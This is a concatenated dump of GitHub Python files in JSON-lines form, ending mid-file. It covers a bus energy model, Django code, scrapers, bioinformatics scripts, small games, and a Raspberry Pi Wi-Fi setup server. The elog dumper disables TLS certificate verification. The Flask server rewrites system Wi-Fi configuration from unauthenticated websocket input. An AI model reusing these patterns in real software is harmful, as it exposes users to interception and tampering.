def calculate_mass(self\n ):\n \"\"\" Take mass array that is length of bus stop array and store\n as df column with interpolated values in between stops\n (value from last stop). If no mass array was input as class\n arg, then default bus mass is stored in every df row.\n \"\"\"\n\n\n # Initialize array of Nan's for mass column of route_df\n full_mass_column = np.zeros(len(self.route_df.index))\n full_mass_column[:] = np.nan\n\n order = np.sort(self.stop_nn_indicies.ravel())\n\n\n for i in range(len(self.mass_array)): \n full_mass_column[order[i]] = self.mass_array[i]\n \n \n # Set initial and value to unloaded bus mass.\n full_mass_column[0] = self.unloaded_bus_mass\n full_mass_column[-1] = self.unloaded_bus_mass\n\n\n for i in range(len(full_mass_column)-1):\n if np.isnan(full_mass_column[i]):\n full_mass_column[i] = full_mass_column[i-1]\n else:\n continue\n\n return full_mass_column\n\n def _add_const_forces_to_df(self, route_df):\n\n (\n grav_force,\n roll_fric,\n ) = self.calculate_const_forces(route_df)\n\n route_df = route_df.assign(\n grav_force = grav_force,\n roll_fric = roll_fric,\n )\n\n return route_df\n\n\n def _add_forces_to_df(self, route_df):\n \"\"\" Calculate forces on bus relevant to the Longitudinate\n dynamics model.\n \"\"\"\n vels = route_df.velocity.values\n acce = route_df.acceleration.values\n loaded_bus_mass = route_df.mass.values\n\n (\n aero_drag,\n inertia\n ) = self.calculate_forces(loaded_bus_mass, acce, vels)\n\n route_df = route_df.assign(\n aero_drag = aero_drag,\n inertia = inertia,\n )\n\n return route_df\n\n def calculate_const_forces(self, route_df):\n grad = route_df.grade.values\n grad_angle = np.arctan(grad)\n gravi_accel = 9.81\n fric_coeff = 0.01\n\n loaded_bus_mass = route_df.mass.values\n\n # Calculate the gravitational force\n grav_force = (\n loaded_bus_mass * gravi_accel * np.sin(grad_angle)\n )\n\n # Calculate the rolling friction\n roll_fric = (\n fric_coeff * loaded_bus_mass * gravi_accel * np.cos(grad_angle)\n )\n\n return grav_force, roll_fric\n\n def calculate_forces(self, loaded_bus_mass, acce, vels):\n \"\"\" Requires GeoDataFrame input with mass column \"\"\" \n\n\n # Physical parameters\n air_density = 1.2 # air density in kg/m3; consant for now,\n # eventaully input from weather API\n v_wind = 0.0 # wind speed in km per hour; figure out component,\n # and also will come from weather API\n \n\n # List of Bus Parameters for 40 foot bus\n # if self.mass_array is None:\n # loaded_bus_mass = self.unloaded_bus_mass # Mass of bus in kg\n # else:\n \n width = 2.6 # in m\n height = 3.3 # in m\n bus_front_area = width * height\n drag_coeff = 0.6\n #rw = 0.5 # radius of wheel in m\n factor = 1.1\n \n\n # Calculate the aerodynamic drag\n aero_drag = (\n drag_coeff\n *\n bus_front_area\n *\n (air_density/2)\n *\n (vels-v_wind)**2\n )\n\n # Calculate the inertial force\n inertia = factor*loaded_bus_mass * acce\n\n return (aero_drag, inertia)\n\n\n def _calculate_batt_power_exert(self, route_df):\n\n eff_motor = 0.916\n eff_inv = 0.971\n regen = 0.6\n eff_aux = 0.89\n\n f_resist = (\n route_df.grav_force.values\n +\n route_df.roll_fric.values\n +\n route_df.aero_drag.values\n )\n\n f_traction = route_df.inertia.values + f_resist\n\n velocity = route_df.velocity.values\n Pout_max = self.charging_power_max\n\n # calculate raw power before capping charging ability of bus\n p_traction = f_traction * velocity\n\n for i in range(len(p_traction)):\n if p_traction[i] < -self.charging_power_max:\n p_traction[i] = -self.charging_power_max\n\n elif p_traction[i] > self.charging_power_max:\n route_df.acceleration[i] = 0\n route_df.velocity[i] = route_df.velocity[i-1]\n route_df.delta_times[i] = route_df.delta_times[i-1]\n loaded_bus_mass = route_df.mass[i]\n\n (\n route_df.aero_drag[i],\n route_df.inertia[i]\n ) = self.calculate_forces(loaded_bus_mass, route_df.acceleration[i], route_df.velocity[i])\n\n f_resist[i] = route_df.grav_force[i] + route_df.roll_fric[i] + route_df.aero_drag[i]\n f_traction[i] = route_df.inertia[i] + f_resist[i]\n\n p_traction[i] = f_traction[i] * route_df.velocity[i]\n\n while p_traction[i] > self.charging_power_max:\n route_df.acceleration[i] = self.a_neg\n route_df.velocity[i] = np.sqrt(-2*10.972265*self.a_neg)\n route_df.delta_times[i] = 10.972265/route_df.velocity[i]\n loaded_bus_mass = route_df.mass[i]\n\n (\n route_df.aero_drag[i],\n route_df.inertia[i]\n ) = self.calculate_forces(loaded_bus_mass, route_df.acceleration[i], route_df.velocity[i])\n\n f_resist[i] = route_df.grav_force[i] + route_df.roll_fric[i] + route_df.aero_drag[i]\n f_traction[i] = route_df.inertia[i] + f_resist[i]\n\n p_traction[i] = f_traction[i] * route_df.velocity[i]\n\n else:\n continue\n\n #p_traction[i] = self.charging_power_max\n\n P_ESS = np.zeros(len(p_traction))\n\n for i in range(len(p_traction)):\n if f_traction[i] >= 0:\n P_ESS[i] = (p_traction[i]/(eff_motor*eff_inv)) + (self.aux/eff_aux)\n else:\n P_ESS[i] = (regen*eff_motor*eff_inv*p_traction[i]) + (self.aux/eff_aux)\n \n #self.raw_batt_power_exert = np.copy(P_ESS)\n\n return P_ESS\n\n\n def _add_power_to_df(self, route_df):\n\n batt_power_exert = self._calculate_batt_power_exert(route_df)\n\n\n new_df = route_df.assign(\n power_output = batt_power_exert\n )\n\n return new_df\n\n\n def energy_from_route(self, route_df):\n\n route_df = self.route_df\n\n delta_t = route_df.delta_times.values[1:]\n\n power = route_df.power_output.values[1:]\n\n energy = np.sum(power/1000 * delta_t/3600)\n\n time_on_route = np.append(0, np.cumsum(delta_t))\n\n return energy, time_on_route \n","repo_name":"EricaEgg/Route_Dynamics","sub_path":"route_dynamics/route_energy/longi_dynam_model.py","file_name":"longi_dynam_model.py","file_ext":"py","file_size_in_byte":14301,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"37012662857","text":"from django.contrib import admin\nfrom .models import *\n# Register your models here.\n\n\nclass MembershipInlineAdmin(admin.TabularInline):\n model = Membership\n\n def get_extra(self, request, obj=None, **kwargs):\n extra = 0\n if obj:\n return obj.membership_set.count() - 1\n return extra\n\n\nclass PersonAdmin(admin.ModelAdmin):\n inlines = [ MembershipInlineAdmin ]\n\n\nadmin.site.register(Person, PersonAdmin)\nadmin.site.register(Group)\nadmin.site.register(Membership)","repo_name":"lockenunes/django_code_samples","sub_path":"modelrelationship/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7483228207","text":"import shutil\nfrom os import path\n\nfrom django.test import TestCase, override_settings, Client\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\n\nfrom core.models import VirtualMachine\n\n@override_settings(VM_DIR='/tmp/vms')\nclass TestViews(TestCase):\n \n def setUp(self):\n self.client = Client()\n \n def tearDown(self):\n shutil.rmtree(settings.VM_DIR, ignore_errors=True)\n\n def test_create_virtual_machine(self):\n num_vms = VirtualMachine.objects.all().count()\n url = reverse('digitalpuddle.create_virtual_machine')\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)\n \n response = self.client.post(url, {})\n self.assertFormError(response, 'form',\n 'name', 'This field is required.')\n \n response = self.client.post(url, {'name' : 'foobar',\n 'vagrant_image' : 'baz' })\n \n self.assertEqual(response.status_code, 302)\n self.assertEqual(VirtualMachine.objects.all().count(),\n num_vms + 1)\n \n@override_settings(VM_DIR='/tmp/vms')\nclass VirtualMachineTestCase(TestCase):\n \n def setUp(self):\n self.vm = VirtualMachine.objects.create(name=\"foo\",\n vagrant_image=\"bar\")\n \n def tearDown(self):\n shutil.rmtree(settings.VM_DIR, ignore_errors=True)\n \n def test_unicode(self):\n self.assertEqual(self.vm.__unicode__(),\n \"foo\")\n \n def test_get_vagrant_dir(self):\n self.assertEqual(self.vm.get_vagrant_dir(),\n path.join(settings.VM_DIR, str(self.vm.pk)))\n \n def test_to_vagrant_config(self):\n expected = \"\"\"\\\nVAGRANTFILE_API_VERSION = \"2\"\nVagrant.configure(VAGRANTFILE_API_VERSION) do |config|\n config.vm.box = \"bar\"\nend\n\"\"\"\n \n self.assertEqual(self.vm.to_vagrant_config(),\n expected)\n \n def test_updates_vagrant_config(self):\n \"\"\"\n Make sure the post save handler will create a directory\n and put the proper file in it.\n \"\"\"\n \n directory = path.join(settings.VM_DIR, str(self.vm.pk))\n self.assertTrue(path.exists(directory))\n \n def test_delete_vagrant_config(self):\n \"\"\"\n Make sure that if we delete an object it also cleans\n up the vagrant files.\n \"\"\"\n \n vm = VirtualMachine.objects.create(name=\"foo\",\n vagrant_image=\"bar\")\n directory = path.join(settings.VM_DIR, str(vm.pk))\n self.assertTrue(path.exists(directory))\n \n vm.delete()\n \n self.assertFalse(path.exists(directory))","repo_name":"connectthefuture/digitalpuddle","sub_path":"core/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37607486420","text":"def gen_primes(n):\n primes = [2]\n for i in range(3, n+1, 2):\n prime = True\n for p in primes:\n if i % p == 0:\n prime = False\n break\n if prime:\n primes.append(i)\n return primes\n\ndef is_juletall(n):\n global primes\n factors = 0\n i = 0\n while n > 1:\n if n % primes[i] == 0:\n factors += 1\n if factors > 9:\n return False\n n //= primes[i]\n else:\n i += 1\n if i >= len(primes):\n return False\n return True if factors == 9 else False\n\nprimes = gen_primes(2**9)\n\n# Funnet 14 juletall manuelt for opp til og med 14 toer-faktorer:\njuletall = 14\n\nfor i in range(2**9, 2**17):\n if is_juletall(i):\n juletall += 1\n\nprint(juletall)\n# Svar: 914\n","repo_name":"danieman/knowit2018","sub_path":"03/factor.py","file_name":"factor.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31095469948","text":"\n\nclass SwitchServerListPanel(object):\n\n def __init__(self, window, servers):\n self.window = window\n self.servers = servers\n self.choices = []\n\n def on_done(self, index):\n if index == -1:\n return\n self.callback(index)\n\n def show(self, callback):\n self.callback = callback\n\n for server in self.servers:\n self.choices.append([\n \"{index}/{doc_type}\".format(**server),\n \"{base_url}\".format(**server)\n ])\n self.window.show_quick_panel(self.choices, self.on_done)\n","repo_name":"KunihikoKido/sublime-elasticsearch-client","sub_path":"panel/switch_server_list_panel.py","file_name":"switch_server_list_panel.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"32"} +{"seq_id":"34321210259","text":"# -*- coding: utf-8 -*-\nfrom bs4 import BeautifulSoup, Comment\n# from urllib.request import urlopen\n# python 2\nfrom urllib2 import urlopen\nimport json, os.path, csv, re\n\n\ndef valid_filename(filename):\n return re.sub('[^\\w\\-_\\. ]', '_', filename)\n\n\ndef norm_txt(txt):\n # removing non-ascii\n return re.sub(r'[^\\x00-\\x7F]+',' ', txt)\n\n\ndef parse_player_stats(player_no, player_id):\n for stats_id, table in tables_stats.items():\n print(\"Saving player \"+player_id+\"'stats: \"+stats_id)\n thead = table.find_all(\"thead\")[0]\n folder_path = \"data/player_stats/\"+player_no+\"_\"+player_id+\"/\"\n\n if not os.path.isdir(folder_path):\n os.makedirs(folder_path)\n # python 3\n # with open(folder_path+valid_filename(player_no+\"_\"+player_id+\"_\"+stats_id+\".csv\"), \"w+\", newline=\"\") as f:\n with open(folder_path + valid_filename(player_no + \"_\" + player_id + \"_\" + stats_id + \".csv\"), \"wb\") as f:\n writer = csv.writer(f, delimiter=\",\")\n # write header\n writer.writerow([norm_txt(th.text) for th in thead.find_all(\"tr\")[-1].find_all(\"th\")])\n # write stats\n tbody = table.find_all(\"tbody\")[0]\n for tr in tbody.find_all(\"tr\"):\n writer.writerow([norm_txt(ele.text) for ele in tr.find_all([\"th\", \"td\"])])\n\n # write stats summary\n # python 3\n # with open(folder_path+valid_filename(player_no+\"_\"+ player_id+\"_\"+stats_id+\"_summary.csv\"), \"w+\", newline=\"\") as f:\n with open(folder_path + valid_filename(player_no + \"_\" + player_id + \"_\" + stats_id + \"_summary.csv\"), \"wb\") as f:\n writer = csv.writer(f, delimiter=\",\")\n # write header\n writer.writerow([norm_txt(th.text) for th in thead.find_all(\"tr\")[-1].find_all(\"th\")])\n # write stats summary\n tfoot = table.find_all(\"tfoot\")\n if len(tfoot) >0 : tfoot = tfoot[0]\n else: continue\n for tr in tfoot.find_all(\"tr\"):\n if tr.get(\"class\") is not None and 'blank_table' in tr.get(\"class\"):\n continue\n writer.writerow([ele.text for ele in tr.find_all([\"th\", \"td\"])])\n\ndef parse_player_leaderboard(player_no, player_id):\n for table in tables_leaderboard:\n leaderboard_type = table.find_all(\"caption\")[0].text\n print(\"Saving player \" + player_id + \"'s leaderboard stats: \" + leaderboard_type)\n folder_path = \"data/player_stats/\" + player_no + \"_\" + player_id + \"/\"\n\n # python 3\n # with open(folder_path+valid_filename(player_no+\"_\"+player_id+\"_\"+leaderboard_type+\".csv\"), \"w+\", newline=\"\") as f:\n # python 2\n with open(folder_path + valid_filename(player_no + \"_\" + player_id + \"_\" + leaderboard_type + \".csv\"), \"wb\") as f:\n writer = csv.writer(f, delimiter=\",\")\n # write header\n writer.writerow([leaderboard_type])\n # write stats\n for tr in table.find_all(\"tr\"):\n writer.writerow([\" \".join([ele.text for ele in tr.find_all(\"td\")])])\n\ndef parse_player_salary(player_no, player_id):\n for stats_id, table in tables_salaries.items():\n if \"salar\" not in stats_id:\n continue\n print(\"Saving player \"+player_id+\"'salary stats: \"+stats_id)\n thead = table.find_all(\"thead\")[0]\n folder_path = \"data/player_stats/\"+player_no+\"_\"+player_id+\"/\"\n\n if not os.path.isdir(folder_path):\n os.makedirs(folder_path)\n\n # python 3\n # with open(folder_path+valid_filename(player_no+\"_\"+player_id+\"_\"+stats_id+\".csv\"), \"w+\", newline=\"\") as f:\n with open(folder_path + valid_filename(player_no + \"_\" + player_id + \"_\" + stats_id + \".csv\"), \"wb\") as f:\n writer = csv.writer(f, delimiter=\",\")\n # write header\n writer.writerow([norm_txt(th.text) for th in thead.find_all(\"tr\")[-1].find_all(\"th\")])\n # write stats\n tbody = table.find_all(\"tbody\")[0]\n for tr in tbody.find_all(\"tr\"):\n writer.writerow([norm_txt(ele.text) for ele in tr.find_all([\"th\", \"td\"])])\n\n # write stats summary\n # python 3\n # with open(folder_path+valid_filename(player_no+\"_\"+ player_id+\"_\"+stats_id+\"_summary.csv\"), \"w+\", newline=\"\") as f:\n with open(folder_path + valid_filename(player_no + \"_\" + player_id + \"_\" + stats_id + \"_summary.csv\"), \"wb\") as f:\n writer = csv.writer(f, delimiter=\",\")\n # write header\n writer.writerow([norm_txt(th.text) for th in thead.find_all(\"tr\")[-1].find_all(\"th\")])\n # write stats summary\n tfoot = table.find_all(\"tfoot\")\n if len(tfoot) >0 : tfoot = tfoot[0]\n else: continue\n for tr in tfoot.find_all(\"tr\"):\n if tr.get(\"class\") is not None and 'blank_table' in tr.get(\"class\"):\n continue\n writer.writerow([norm_txt(ele.text) for ele in tr.find_all([\"th\", \"td\"])])\n\n\n# read all player information\nwith open(\"data/player_list.json\", \"r+\") as f:\n players = json.load(f)\n\nfull_digits = len(str(len(players)))\n\ndef zero_pad(s, digit = full_digits):\n while len(s) < digit:\n s = \"0\" + s\n return s\n\n# start parsing player information one by one\nfor index, player in enumerate(players):\n\n tables_stats = {}\n tables_leaderboard = []\n tables_salaries = {}\n\n player_id = player[\"id\"]\n player_no = zero_pad(str(index+1))\n r = open(\"data/players/\"+player_no+\"_\"+player_id+\".html\", \"rb+\").read()\n # python 3\n # soup = BeautifulSoup(r, \"lxml\")\n # python 2\n soup = BeautifulSoup(r, \"html.parser\")\n\n tables_all = []\n\n # Extract all tables in non-comments\n tables = soup.find_all(\"table\")\n tables_all = tables_all + tables\n\n # Extract all tables in comments\n comments = soup.find_all(string=lambda text: isinstance(text, Comment))\n for c in comments:\n # python 3\n # soup_comment = BeautifulSoup(c, 'lxml')\n # python 2\n soup_comment = BeautifulSoup(c, \"html.parser\")\n tables = soup_comment.find_all('table')\n tables_all = tables_all + tables\n\n # table_ids are in 3 categories:\n # 1) stats\n # 2) leaderboard related (table_id = None)\n # 3) Salary, Contract Salary information\n\n for table in tables_all:\n id = table.get(\"id\")\n if id is None:\n tables_leaderboard.append(table)\n elif id == \"all_salaries\" or \"contract\" in id:\n tables_salaries[id] = table\n else:\n tables_stats[id] = table\n\n # Parse player stats data:\n # Output: playerNum_playerId_statsID.csv\n # col1, col2, col3, ...\n\n\n print(\">>> Parsing game stats for player: \"+player_id)\n parse_player_stats(player_no, player_id)\n print()\n\n print(\">>> Parsing leadership stats for player: \" + player_id)\n parse_player_leaderboard(player_no, player_id)\n print()\n\n print(\">>> Parsing leadership stats for player: \" + player_id)\n parse_player_salary(player_no, player_id)\n print()\n","repo_name":"EireneX/NBA-Basketball-Player-Salary","sub_path":"player_stats_parser.py","file_name":"player_stats_parser.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11705253329","text":"import os, sys\nfrom pathlib import Path\nimport argparse\nimport functools\nimport textwrap\n\n# establish arguments\nparser = argparse.ArgumentParser()\n\nparser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,\n usage = \"annotateBlast.py blastOut geneNames -o outputPrefix\",\n description = textwrap.dedent('''\\\n Example:\n python annotateBlast.py blastOut.txt geneNames.txt -o sample\n\n The blast output text file should be outfmt 6 with the standard columns\n the geneList text file should have the names of the genes as obtained from the fasta headers\n of the reference RNA.fa file from NCBI, with the \">\" symbol removed\n '''))\n\nparser.add_argument(\"blastOut\", type=str,\n help=\"results of blast alignment of trimmed inserts against reference genome, in tab-delimited outfmt 6\")\n\nparser.add_argument(\"geneNames\", type=str,\n help=\"list of genes from reference RNA.fa files from NCBI\")\n\nparser.add_argument(\"-o\", \"--outputPrefix\", type=str, default=\"out\",\n help=\"identifier for output annotated text file\")\n\nargs = parser.parse_args()\n\n#open reference and destination files from input arguments\nblastF = open(args.blastOut,'r')\nnamesF = open(args.geneNames,'r')\n\n#read all lines from both files into memory\nblastList = blastF.readlines()\nnamesList = namesF.readlines()\n\nblastF.close()\nnamesF.close()\n\nannoList = []\noutFile = open(args.outputPrefix + \".ann.txt\",'a')\n\nfor alignment in blastList :\n blastLine = alignment.rstrip().split(\"\\t\")\n blastGene = blastLine[1]\n for rna in namesList :\n rnaAnno = rna.split(\" \")\n rnaGene = rnaAnno[0]\n rnaName = \" \".join(rnaAnno[5:]).rstrip()\n if blastGene == rnaGene :\n blastLine.append(rnaName)\n annoList.append(blastLine)\n outLine = \"\\t\".join(blastLine)\n outFile.write(outLine + \"\\n\")\n\noutFile.close()\n","repo_name":"kristina28/chen-custom-scripts","sub_path":"pol3-transcriptome/annotateBlast.py","file_name":"annotateBlast.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16422084755","text":"import sys\ninput = sys.stdin.readline\n\ngroup = 0\nwhile True:\n n = int(input())\n group += 1\n if n == 0:\n break\n names = []\n nasty = []\n for i in range(n):\n name_words = input().split()\n name = name_words[0]\n names.append(name)\n words = name_words[1:]\n\n for seq, word in enumerate(words):\n if word == 'N':\n idx = i - (seq + 1)\n if idx < 0:\n idx += n\n nasty.append((idx, i))\n print(f'Group {group}')\n if not nasty:\n print('Nobody was nasty')\n else:\n for data in nasty:\n a, b = data[0], data[1]\n print(f'{names[a]} was nasty about {names[b]}')\n print('')","repo_name":"minjae200/acmicpc","sub_path":"02_Silver/5/1384.py","file_name":"1384.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20316432728","text":"# Função Main - Execução do Programa\n\ndef main():\n # Objeto\n jogo = Hangman(rand_word())\n jogo.print_game_status()\n terminou = False\n venceu = False\n lista_letras = []\n while terminou == False or venceu == False:\n entrada = input('Digite uma letra: ')\n lista_letras = lista_letras.extend(entrada)\n answer = jogo.guess(lista_letras)\n print(answer)\n terminou = jogo.hangman_over()\n venceu = jogo.hangman_won()\n jogo.print_game_status()\n\n if jogo.hangman_won():\n print('\\nParabéns! Você venceu!!')\n else:\n print('\\nGame over! Você perdeu.')\n print('A palavra era ' + jogo.palavra)\n\n print('\\nFoi bom jogar com você! Agora vá estudar!\\n')\n","repo_name":"janaphilippi/homem_enforcado","sub_path":"teste_main.py","file_name":"teste_main.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23341327064","text":"#!/usr/bin/env python\n\nimport argparse\nimport imghdr\n\nparser = argparse.ArgumentParser(\n description=\"Dump an elog ...\", formatter_class=argparse.ArgumentDefaultsHelpFormatter\n)\n\nparser.add_argument(\"url\", help=\"elog URL, e.g., https://elog-gfa.psi.ch/SwissFEL+test/\")\nparser.add_argument(\"-o\", \"--output\", default=\"dump\", help=\"Output folder\")\nparser.add_argument(\n \"-a\",\n \"--attachments\",\n default=\"attachments\",\n help=\"Attachments sub-folder relative to the output folder\",\n)\n\nclargs = parser.parse_args()\n\n\nimport builtins\nimport json\nimport os\nimport shutil\n\nimport urllib3\nfrom tqdm import tqdm\nfrom utils import retry\n\nimport elog\n\n# Certs are not valid...\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nhttp = urllib3.PoolManager(cert_reqs=\"CERT_NONE\")\n\n\n# HTML messages contain some code-formatting characters\nFORMATTING_CHARS = [\"\\n\", \"\\t\"]\n\n\nclass ELogScraper:\n def __init__(self, url, output_folder=\".\", attachment_subfolder=\"attachments\"):\n self.url = url = (\n url if url.endswith(\"/\") else url + \"/\"\n ) # TODO: only needed for attachments bug!\n\n self.output_folder = output_folder\n mkdirs(output_folder)\n\n self.attachment_folder = attachment_folder = os.path.join(\n output_folder, attachment_subfolder\n )\n self.fd = FileDownloader(attachment_folder)\n\n self.lb = elog.open(url)\n self.elog_read = retry(self.lb.read)\n\n mids = self.lb.get_message_ids()\n self.mids = sorted(mids)\n # to selectively dump messages: self.mids = sorted(i for i in mids if i <= 13120)\n self.nmsgs = nmsgs = len(mids)\n self.counter_width = len(str(nmsgs))\n\n def dump(self):\n print()\n print(f\"Dumping {self.nmsgs} messages from {self.url}\")\n print(f\"- Messages to: {self.output_folder}\")\n print(f\"- Attachments to: {self.attachment_folder}\")\n print()\n try:\n builtins.print = tqdm.write # otherwise print() breaks tqdm\n for msg in tqdm(self.get_entries(), total=self.nmsgs):\n pass\n except KeyboardInterrupt:\n raise SystemExit(\n f'\\nDump not finished! You might want to delete the \"{output}\" folder.'\n )\n finally:\n builtins.print = print\n\n def get_entries(self):\n for i in self.mids:\n yield self.get_entry(i)\n\n def get_entry(self, index):\n message, attributes, attachments = self.elog_read(index)\n message = sanitize_message(message)\n attributes = sanitize_attributes(index, attributes)\n attachments = sanitize_attachments(attachments, self.url)\n fns = self.fd.get(attachments)\n entry = build_entry(index, message, attributes, fns)\n\n counter = str(index).zfill(self.counter_width)\n fname = f\"msg{counter}.json\"\n fname = os.path.join(self.output_folder, fname)\n\n json_dump(entry, fname)\n return entry\n\n\ndef sanitize_message(message):\n return remove_all(message, FORMATTING_CHARS)\n\n\ndef remove_all(s, chars):\n for c in chars:\n s = s.replace(c, \"\")\n return s\n\n\ndef sanitize_attributes(i, attributes):\n mid = attributes.pop(\"$@MID@$\")\n mid = int(mid)\n assert i == mid\n attributes[\"MID\"] = i\n return attributes\n\n\ndef sanitize_attachments(attachments, url):\n # if attachments == [url]: #TODO: WTF?!\n # attachments = []\n return attachments\n\n\ndef build_entry(i, message, attributes, attachments):\n entry = {}\n entry.update(attributes)\n entry[\"attachments\"] = attachments\n entry[\"message\"] = message\n return entry\n\n\ndef json_dump(data, fname):\n with open(fname, \"w\") as f:\n json.dump(data, f, sort_keys=True, indent=4)\n\n\nclass FileDownloader:\n def __init__(self, folder=\".\"):\n self.folder = folder\n mkdirs(folder)\n\n def get(self, urls):\n return [self.get_file(u) for u in urls]\n\n def get_file(self, url):\n fname = extract_filename(url)\n full_fname = os.path.join(self.folder, fname)\n # fix missing extensions here\n if fname != \"\":\n pathname, extension = os.path.splitext(fname)\n if extension == \"\":\n extension = \"png\" # for now assume its a png file, TODO imghdr.what(attachment)\n fname = pathname + \".\" + extension\n print(f\"After =========== {fname}\")\n print(f\"{url} -> {fname}\")\n download(url, full_fname)\n return fname\n\n\ndef extract_filename(url):\n parsed_url = urllib3.util.parse_url(url)\n path = parsed_url.path\n fname = os.path.basename(path)\n return fname\n\n\ndef download(url, fname):\n with http.request(\"GET\", url, preload_content=False) as resp:\n print(f\"{url} -> {fname}\")\n with open(fname, \"wb\") as f:\n shutil.copyfileobj(resp, f)\n resp.release_conn()\n\n\ndef mkdirs(folder):\n os.makedirs(folder, exist_ok=True)\n\n\nif __name__ == \"__main__\":\n url = clargs.url\n output = clargs.output\n attachments = clargs.attachments\n els = ELogScraper(url, output_folder=output, attachment_subfolder=attachments)\n els.dump()\n","repo_name":"paulscherrerinstitute/scilog","sub_path":"importTools/elog/elogdump.py","file_name":"elogdump.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9780251489","text":"# server.py\nimport commands\nfrom flask import Flask, request, render_template\nfrom gevent import pywsgi\nfrom geventwebsocket.handler import WebSocketHandler\nimport time\nfrom jinja2 import Template, Environment, FileSystemLoader\nfrom logging import getLogger, StreamHandler, DEBUG\nlogger = getLogger(__name__)\nhandler = StreamHandler()\nhandler.setLevel(DEBUG)\nlogger.setLevel(DEBUG)\nlogger.addHandler(handler)\nlogger.propagate = False\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/pipe')\ndef pipe():\n if request.environ.get('wsgi.websocket'):\n ws = request.environ['wsgi.websocket']\n\n ws.send(commands.getoutput(\"cat /home/pi/raspberrypi-wifi-config-script/previous-ip\"))\n\n while True:\n message = ws.receive()\n logger.debug('receive message: type=%s, message=%s', type(message), message)\n data = message.split(\",\")\n btnData = data[0]\n\n if btnData == \"save-reboot\":\n logger.debug(\"save-reboot\")\n env = Environment(loader=FileSystemLoader('/home/pi/raspberrypi-wifi-config-script/wifi-config-site/templates'))\n template = env.get_template('wpa_supplicant.conf.j2')\n\n data = {\n \"ssid\": data[1],\n \"pass\": data[2],\n }\n\n rendered = template.render(data)\n\n with open(\"/etc/wpa_supplicant/wpa_supplicant.conf\", mode='w') as f:\n f.write(str(rendered))\n\n commands.getoutput(\"/home/pi/raspberrypi-wifi-config-script/wifi-reconfig.sh\")\n\ndef main():\n app.debug = True\n server = pywsgi.WSGIServer((\"\", 80), app, handler_class=WebSocketHandler)\n server.serve_forever()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"shu8180/raspberrypi-wifi-config-script","sub_path":"wifi-config-site/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73569785051","text":"from os import system, name\nfrom math import trunc # for truncating when adding the starting area\nfrom numpy import array\nimport scipy.ndimage as ndimage\nfrom copy import deepcopy\n\n# globals\nSIZE = 11\ngrid = []\n\n# create grid\nfor y in range(SIZE):\n grid.append([])\n for x in range(SIZE):\n grid[y].append(\"-\")\n\n# add starting area\nmiddleX = trunc(SIZE / 2)\nmiddleY = trunc(SIZE / 2)\n# creates a 4 tall line\nfor i in range(-2, 2):\n grid[middleY + i][middleX] = \"|\"\n\ncurrentPlayer = \"X\"\ngameOver = False\nreason = \"\"\n\n# clears the screen\ndef clear():\n if name == 'nt':\n system('cls')\n \n else:\n system('clear')\n\n# swaps the currentPlayer between X and O\ndef changePlayer():\n global currentPlayer\n\n if currentPlayer == \"X\":\n currentPlayer = \"O\"\n else:\n currentPlayer = \"X\"\n\n# prints the grid\ndef printGrid():\n # print the x axis at the top\n for i in range(SIZE + 1):\n print(str(i)[-1], end = \" \")\n \n # create new line\n print()\n\n yGuide = 1\n for line in grid:\n print(str(yGuide)[-1], end = \" \")\n for location in line:\n print(location, end = \" \")\n yGuide += 1\n\n # create new line\n print()\n\nprintGrid()\n\n# main game loop\nwhile not gameOver:\n # get action type\n while True:\n print(\"Player \" + currentPlayer)\n action = input(\"Choose your action:\\n1. Place a symbol\\n2. Create 4 new connecting tiles\\n3. Block any two unfilled tiles\\n\")\n if action.isdigit():\n action = int(action)\n if action in [1, 2, 3]:\n break\n else:\n print(\"Please enter 1, 2 or 3\")\n else:\n print(\"Please enter 1, 2 or 3\")\n \n # if place a symbol is chosen\n # get x and y\n # both must be within the bounds and the selected square must be a | meaning it is empty\n if action == 1:\n while True:\n # check if there are any empty tiles\n possibleLocationCheck = False\n for line in grid:\n if \"|\" in line:\n possibleLocationCheck = True\n\n if not possibleLocationCheck:\n break\n\n # get x\n while True:\n coordinate = input(\"Enter x coordinate: \")\n if coordinate.isdigit():\n if 0 < int(coordinate) <= SIZE:\n coordinate = int(coordinate) - 1\n x = coordinate\n break\n else:\n print(\"Please enter a number between 1 and \" + str(SIZE))\n else:\n print(\"Please enter a number\")\n \n # get y\n while True:\n coordinate = input(\"Enter y coordinate: \")\n if coordinate.isdigit():\n if 0 < int(coordinate) <= SIZE:\n coordinate = int(coordinate) - 1\n y = coordinate\n break\n else:\n print(\"Please enter a number between 1 and \" + str(SIZE))\n else:\n print(\"Please enter a number\")\n \n if grid[y][x] != \"|\":\n print(\"The selected tile isn't an empty square (|)\")\n else:\n grid[y][x] = 